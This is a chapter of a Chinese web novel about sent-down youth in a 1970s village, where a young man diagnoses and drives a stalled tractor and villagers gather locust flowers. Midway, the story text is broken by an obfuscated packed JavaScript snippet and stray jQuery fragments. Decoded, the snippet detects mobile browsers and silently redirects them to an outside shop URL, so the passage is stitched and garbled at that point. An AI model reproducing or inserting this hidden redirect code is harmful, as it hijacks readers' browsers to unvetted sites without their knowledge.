明杭生的神态不像仅仅见过。
大队长盯着他琢磨,这批知青稳重谦虚,不会插秧就问,种太密需要返工也没人抱怨。累得直不起腰就嘀咕,“莫说种地很辛苦,想想长征两万五。”不小心掉几个不想捡回来,依然一边捡一边念叨,“种地到中午,粒粒皆辛苦。”
这些话不止一个社员听见,因此几天下来大家对他们都有了改观。不然只叫知青牵牛,工分却跟种红薯的社员们一样,队里的刺头早闹了。
就明杭生沉稳的性子,他说见过,可能动手修过。
以防年轻人自尊心强要面子,大队长道:“那你先看看。不过不会就不会,别逞能!”
社员大叔立刻说:“绳子给我吧。”
明杭生下意识把绳子递过去,“可是你一个人——”
“没事,犁慢点!”大叔接过绳子左右看看,发现地头上有几个小崽子,就叫他们过来牵牛。
然而没人搭理他。
大队长到几个小孩身后,朝最大的那个脑袋上一巴掌:“叶小月,耳朵聋了?”
叶小月捂着脑袋跳起来:“你又不给我算工分!”
“工分工分天天工分,你值几个工分?快点,别等我叫叶榛!”
叶小月扔下手里的土坷垃,噘着嘴朝耕牛走去。
明杭生诧异:“她怕叶榛?”
大队长点点头:“别看她娘嗓门大,就是瞎吵吵。气急了给她一巴掌都不舍得使劲儿。榛儿不跟她废话,抄起鞋底就朝屁股上打,不打到红的变青不停手。她和小阳都挨过。不过也就一回。打那以后就不敢跟榛儿犟。”
明杭生不由得找叶榛:“看不出来。”
大队长朝叶榛所在方向看去:“榛儿以前性子跳脱,招猫逗狗,经常把她爷气得跳脚,恨不得找根绳把她拴上,走到哪儿带到哪儿。”
明杭生无法想象叶榛走一步晃三晃的样子,“那她现在这样是长大了懂事了?”
“这,回头再说。”
明杭生怀疑里头有什么隐情:“那先看看车。”
把车开熄火的小子不禁问:“你会修吗?不行就去兵团找人,兵团有专门的维修工。”
“先看看。”明杭生依然是这句话。
大队长回头和几个小队长互看一下,心说这个明杭生可真稳。
把车开坏的小子见状又有话说,大队长横他一眼,心虚理亏的人顿时把嘴闭上。
明杭生到车跟前先看犁,他怀疑犁到石头车被累熄火。发现土松,人拉着犁都能犁动,明杭生才问把车开坏的小子熄火前有没有什么异常。
那小子张嘴想说:“你这么厉害不会自己查啊。”大队长一瞪眼,他赶忙老实交代。明杭生等他说完,确定不是什么大问题。明杭生的手放车上,果不其然,过了这么久还很热。
明杭生左右看看,找到一根细长的草,打开油盖。把车开熄火的小子不禁说:“你干嘛?会不会——”
“会!”明杭生把那根草拿出来递给大队长。大队长不明所以,他身后的小队长瞬间明白,忍不住惊叫:“没油了?!”
起先没在意这边状况的社员们惊得抬头,看到明杭生离车最近,不禁交头接耳,一个社员问,“知青怎么在那儿?”另一个社员说,“刚才车不是熄火了吗?咱们队的队长说可能坏了。”这俩社员旁边的社员一脸好奇,“所以是这个知青查出没坏,只是没油了?那这个知青怪厉害的。”
不止社员,大队长也没想到他过来不到三分钟就查出故障:“咋可能没油,我——”余光瞥到开车的小子一脸心虚,大队长呼吸一顿,朝他身上就踹,“你小子是不是又把我的话当耳旁风?我说机油可能不多,别忘了加油——”
“你也说机油不是柴油,加不加都行。”那小子不由得反驳。
大队长一脚踹空又来一脚:“你还有理?别躲,今天不打死你小子,我跟你姓!”
“你本来就跟我姓!”那小子脱口而出,一看大队长脸色通红,显然是被他气的,他转身就跑,“我,我拿机油去!”
大队长吼:“机油就在车上,上哪儿拿去?”
明杭生冷不丁想到叶榛去接他们那次放枪的地方,他朝车座和拖拉机轮胎中间看去,果然有个小桶。
大队长转过身就看到明杭生已经把油盖打开准备加油。大队长想说什么,一时竟不知该说什么,干脆问:“会开车吧?”
明杭生没开过拖拉机,但他感觉一摸就会:“没犁过地。”
大队长道:“那一会儿我跟你说说。”
“我开?”饶是明杭生有心理准备也没想到大队长真敢叫他开。
通过这几日的观察,拖拉机是队里的宝贝,大队长竟敢把宝贝交给他这个外人。
大队长可没想这么多:“你不是会吗?”
明杭生下意识看几个小队长。几个小队长立刻表示回队里看着社员别偷懒。其实不止这一点,他们嫌拖拉机太吵,半天下来脑袋都嗡嗡响。也就精力旺盛爱逞强的小子们喜欢开车犁地。
要叫几个队长选,他们宁愿牵牛扶犁。
明杭生以为他们真没空:“那我试试。”
“会摇车吗?”
明杭生没用过摇把,但他看叶榛用过。那天在火车站明杭生一眼就看出叶榛是女生。如果叶榛是个偏阴柔的男生,不可能站如一棵松。她给明杭生的感觉是部队里英气十足的女兵。叶榛说话时也没喉结,声音清冷,听起来像还没变声的男生,可仔细听她的声音比男生细。
明杭生不意外女生会开拖拉机,早几年发行的一元纸币上的图案就是女拖拉机手。但他听人说过摇把重,好奇叶榛细胳膊细腿怎么摇,所以叶榛用摇把时他一直盯着她。
明杭生拿起摇把,回想叶榛用摇把的样子,一次就把车摇起来。
大队长很意外:“你开过拖拉机?城里人开的不是小汽车吗?”
明杭生半真半假道:“为了不拖大家后腿,下乡前找人专门学过。”
“还学过?”大队长惊呼。
明杭生上车:“我觉着自己懂得挺多,到这里才发现其实只懂点皮毛。比如像今天,我就不知道您为什么这么着急,前面犁地后面种。那个社员大叔说得赶在下雨前种好我才明白。”
大队长道:“其实应该等雨后种。现在种要是雨太大有可能冲走。”
“那还种?”明杭生疑惑不解。
大队长:“红薯苗太大,没法再盖东西,可是啥也不盖,一场雨下来有可能淹死泡怀坏,不如提前种下去省心。”
“原来是这样。”
大队长点头:“今年天暖,红薯苗长得快。最多一个月就可以剪掉再种。”
“剪掉种?”
大队长:“红薯藤长长剪掉两节埋土里就活了。”
“没有根也能活?”
大队长见他一脸稀奇,顿时想笑:“见过仙人掌吧?跟仙人掌差不多,掰掉一个种土里就生根发芽。”回头看一下,见他犁的挺好,“不错,比我侄子犁的好。”
明杭生怀疑他听错了:“您侄子?”
“不是我侄子哪敢把我话当耳旁风啊。”大队长问,“你自个能行吧?”
明杭生点头:“差不多。”
“那你犁吧。”
明杭生闻言就踩刹车,大队长没想到他这么有眼力劲儿,笑着拍拍他的肩就下去。
远处的知青看到这一幕都不禁站起来,赵小四嘀咕:“明杭生居然真会犁地?还有他不会的吗?”问旁边的孙解放。
孙解放:“他不会开拖拉机,也不会犁地。”
“咋可能?”赵小四指着远处的车和人惊叫,就差没明说,你瞎啊。
另一边的李卫国弱弱地说:“他真会就不用大队长陪了。”
赵小四问:“啥意思?算学的?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258267|151377||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
李卫国和孙解放同时点头。
在孙解放旁边的刘建设见状不禁说:“他这么聪明?以前怎么——”
孙解放:“他一直是年级前十!”
刘建设噎了一下,然后想到高中三年无论大考小考明杭生的成绩一直是他们班前三,比班长还稳,“会读书也不等于会干农活。”
赵小四可管不了这么多,他只知道过了今天社员们不会再一提到他们就直摇头:“还是我二哥厉害!不愧是我二哥!”
刘建设白了他一眼,低头埋红薯。
与此同时,几个女知青也在聊明杭生。不过一开始是曹芳芳阴阳怪气明杭生逞能,陈菀菀怕把话落地上,十分贴心地接一句:“你以为明杭生是你。”
曹芳芳没理她,跟尤菁菁换位,到叶榛身边。陈菀菀就跟叶小姑换一下,到叶榛另一边,然后俩人隔着叶榛互怼。
叶榛头都大了:“我没得罪你俩吧?”
俩人立刻鸣金收兵换回去。
叶榛松了一口气,给她小姑使个眼色,叶小姑跟叶榛换一下,把她和曹芳芳隔开。中间隔着长辈,曹芳芳顿时不好意思勾头找叶榛聊天。
锣声传来,叶小姑把剩下的红薯苗埋土里,直起腰抱怨:“谁发明的忙假啊?我一个老师还要种地!”
叶小婶不禁说:“就这有人还不愿意教小学生呢。”
“我,那是我以为今年能恢复高考。”叶小姑底气不足,不待她二嫂开口就喊叶榛回家,然后问俩侄子侄女跑哪儿去了。
叶小婶一看闺女儿子不在地头上,担心他们不要命了往山上跑,或者贪玩去河边,赶忙去找孩子。
叶榛捡起她婶扔下的工具,想招呼女知青一起走,回头看到几个女知青朝明杭生走去。
叶小姑发现侄女停下,顺着她的视线看去:“明杭生成了香饽饽?”
“看样子像。连曹芳芳都去了。”
叶榛的小姑不禁说:“那她够心口不一的。”
“可能不知道怎么吸引明杭生的注意,所以一逮到机会就挤兑他。”叶榛摇头,“可惜这招不但对他没用,还让明杭生以为他俩八字不合。”
叶小姑顺嘴问:“你咋知道?”
“明杭生说的。”
叶小姑想问什么,又怀疑自己敏感想多了,“我还以为明杭生不善言辞呢。”
叶榛摇头:“他只是懒得说。”
叶小姑张嘴想说,就像你!难得叶榛能好好说话,她赶忙咽回去:“知青的事咱们就别操心了。也管不着。兴许人家明年就走了。当务之急回家做饭!”
她不说叶榛都没想起来,她一说叶榛的肚子叫了。叶榛看到远处河边的槐树,问:“洋槐花快开了吧?”
叶小姑算算时间:“差不多了。要不叫大哥大嫂做饭,咱们去河边看看?”
叶榛点头:“多摘点,晚上蒸着吃。”
叶小姑也是这样想的,到家就找干净的背篓和篮子。叶榛捏两个明杭生送的江米条垫吧一口,又给她小姑拿两个就去找绳子和铁钩。
刚到路口,一群知青打北边过来。叶榛下意识看她姑,叶小姑使个眼色,叶榛继续往前。到跟前,不出意外孙解放问她俩干嘛去。
叶榛实话实说:“看看洋槐花开了吗。”
孙解放:“花也可以吃?”
叶榛点头。
孙解放扭头找同学,明杭生出来;“我跟叶榛去看看吧。”说完看向叶榛的小姑。
洋槐花是集体的,叶小姑没理由拒绝,再说了,明杭生知道征求她的意见,叶小姑感到自己被尊重,自然更不好意思拒绝:“有的话我们多摘点,回头给你们一半。”
孙解放忙说:“不用那么多。”
女知青尤菁菁不禁说:“做饭也要不了这么多人,明杭生,我和——”
明杭生打断:“可能还没开,我先跟她们过去看看。叶榛,走吧。”